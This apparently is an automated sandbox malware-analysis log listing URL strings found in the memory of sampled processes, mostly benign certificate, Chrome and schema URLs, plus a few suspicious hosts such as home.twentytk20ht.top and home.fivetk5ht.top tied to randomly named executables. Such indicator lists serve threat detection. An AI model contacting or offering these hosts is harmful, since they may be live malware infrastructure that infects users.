Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3127721393.000049E800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000018.00000002.3129404925.000049E80069C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000018.00000002.3129404925.000049E80069C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000018.00000002.3129404925.000049E80069C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3127721393.000049E800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876z28
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3130578209.000049E80080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000018.00000002.3129404925.000049E80069C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3129128916.000049E800618000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000018.00000002.3129128916.000049E800618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370un
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000018.00000002.3129404925.000049E80069C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000018.00000002.3129404925.000049E80069C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000018.00000002.3129404925.000049E80069C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3127721393.000049E800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000018.00000002.3129404925.000049E80069C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911814977.000049E800828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911004005.000049E800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: 03f60c0f6e.exe, 00000009.00000003.2716293262.0000000003734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 03f60c0f6e.exe, 00000009.00000003.2716293262.0000000003734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: chrome.exe, 00000018.00000002.3126372097.000049E80020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000018.00000002.3129294718.000049E80066C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: powershell.exe, 0000000C.00000002.2628377954.0000000008981000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2614280806.0000000003183000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 0000000C.00000002.2623443031.0000000007A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microI
Source: powershell.exe, 0000000F.00000002.2677636618.0000000008842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft/
Source: 03f60c0f6e.exe, 00000009.00000003.2716293262.0000000003734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 03f60c0f6e.exe, 00000009.00000003.2716293262.0000000003734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 03f60c0f6e.exe, 00000009.00000003.2716293262.0000000003734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 03f60c0f6e.exe, 00000009.00000003.2716293262.0000000003734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 03f60c0f6e.exe, 00000009.00000003.2716293262.0000000003734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.0000024722FEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/StoreInstaller;component/Resources/StoreAppList.Light.png
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.0000024723084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/StoreInstaller;component/Resources/StoreLogo.Light.png
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.00000247231D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/StoreInstaller;component/Resources/Theme/Light.xaml
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.00000247231D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/StoreInstaller;component/Resources/app.Light.ico
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.00000247230E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://e12564.dspb.akamaiedge.net
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2D31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.0000024722FEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Resources/StoreAppList.Light.png
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.0000024723084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Resources/StoreLogo.Light.png
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.00000247231D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Resources/app.Light.ico
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.00000247231D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/resources/app.light.ico
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.0000024722FEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/resources/storeapplist.light.png
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.0000024723084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/resources/storelogo.light.png
Source: c534667f0b.exe, 0000000A.00000002.2759569441.0000000002B1C000.00000004.00000800.00020000.00000000.sdmp, c534667f0b.exe, 0000000A.00000002.2759569441.0000000002B0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.com
Source: c534667f0b.exe, 0000000A.00000002.2759569441.0000000002B1C000.00000004.00000800.00020000.00000000.sdmp, c534667f0b.exe, 0000000A.00000002.2759569441.0000000002B0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.comd
Source: chrome.exe, 00000018.00000002.3125362195.000049E800050000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: 0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17
Source: 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFoj850
Source: 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850
Source: 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850http://home.twentytk20ht.top/TQIuuaqjNpwY
Source: 0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp, 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp, 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: powershell.exe, 0000000C.00000002.2619196230.0000000005F05000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2669221073.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: 03f60c0f6e.exe, 00000009.00000003.2716293262.0000000003734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 03f60c0f6e.exe, 00000009.00000003.2716293262.0000000003734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: powershell.exe, 0000000F.00000002.2653782598.0000000004EB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: c534667f0b.exe, 0000000A.00000002.2759569441.0000000002BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: c534667f0b.exe, 0000000A.00000002.2759569441.0000000002BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.comd
Source: chrome.exe, 00000018.00000002.3131565199.000049E8009B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000018.00000002.3131565199.000049E8009B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certsI
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.000002472329E000.00000004.00000800.00020000.00000000.sdmp, 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.0000024722F6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.000002472329E000.00000004.00000800.00020000.00000000.sdmp, 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.0000024722F6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.000002472329E000.00000004.00000800.00020000.00000000.sdmp, 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.0000024722F6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.0000024722F6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/StoreInstaller.Models
Source: powershell.exe, 0000000C.00000002.2616123137.0000000004FF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2653782598.0000000004EB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: c534667f0b.exe, 0000000A.00000002.2759569441.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2616123137.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2653782598.0000000004D61000.00000004.00000800.00020000.00000000.sdmp, 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2832161094.00000247230C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000C.00000002.2616123137.0000000004FF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2653782598.0000000004EB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: chrome.exe, 00000018.00000002.3131565199.000049E8009B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: 906ea9c047.exe, 0000001A.00000000.2912418039.0000000000423000.00000002.00000001.01000000.0000001F.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: powershell.exe, 0000000F.00000002.2653782598.0000000004EB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
